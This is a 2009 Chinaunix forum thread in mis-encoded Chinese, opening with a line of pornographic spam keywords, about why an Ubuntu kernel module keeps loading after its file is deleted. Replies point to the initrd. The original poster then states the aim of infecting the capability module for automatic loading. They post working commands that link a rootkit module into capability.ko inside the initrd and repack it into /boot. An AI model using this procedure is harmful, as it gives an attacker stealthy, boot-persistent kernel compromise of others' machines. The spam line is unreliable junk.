亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

Chinaunix

標(biāo)題: ubuntu的lkm模塊是怎么自動(dòng)加載的呢？ [打印本頁(yè)]

作者: hackisle 時(shí)間: 2009-07-21 21:55
標(biāo)題: ubuntu的lkm模塊是怎么自動(dòng)加載的呢？
遇到一個(gè)很奇怪的問(wèn)題，為什么我把/lib/modules/2.6.20-15-generic下的capability.ko文件刪除了系統(tǒng)還能正確加載capability模塊呢？

我在系統(tǒng)中只找到兩個(gè)capability.ko并全部刪除了，可是系統(tǒng)重啟后模塊還是會(huì)自動(dòng)加載，是有其他的備份文件嗎？

作者: lxyscls 時(shí)間: 2009-07-22 10:35
這個(gè)~
你查一下etc下面的文件是如何啟動(dòng)加載模塊的好了~
init.d X11, rcS.d等下面的東西~

作者: superfight 時(shí)間: 2009-07-22 13:07
還有一個(gè)INITRD吧~ 會(huì)不會(huì)是在這里面加載的~

作者: liying_gg 時(shí)間: 2009-07-22 13:40
strace modprobe capability看一下加載得是哪里的ko

作者: wheel 時(shí)間: 2009-07-22 14:44
initrd-xxx.xxx.xx.img里的。。用cpio解開(kāi)就知道

作者: hackisle 時(shí)間: 2009-07-23 09:12
標(biāo)題: 回復(fù) #5 wheel 的帖子
郁悶，本來(lái)想通過(guò)感染capability模塊實(shí)現(xiàn)自動(dòng)加載的，這下沒(méi)戲了

作者: hackisle 時(shí)間: 2009-07-23 16:35
cp /boot/initrd.img-2.6.20-15-generic initrd.img-2.6.20-15-generic.bak
cp initrd.img-2.6.20-15-generic.bak initrd.img.gz
gunzip initrd.img.gz
mkdir initrd
cd initrd
cpio -id<../initrd.img
cd ./lib/modules/2.6.20-15-generic/kernel/security
mv capability.ko old.ko
/tmp/rootkitl/chstr old.ko init_module init_000000
/tmp/rootkitl/chstr old.ko cleanup_module cleanup_000000
ld -r /tmp/rootkitl/capability.ko old.ko -o capability.ko
rm old.ko
rmmod capability
insmod capability.ko
cd /tmp/rootkitl/initrd
find .|cpio -oH newc|gzip -9>/boot/initrd.img-2.6.20-15-generic

終于成功了
：）

[ 本帖最后由 hackisle 于 2009-7-25 14:24 編輯 ]

歡迎光臨 Chinaunix (http://72891.cn/)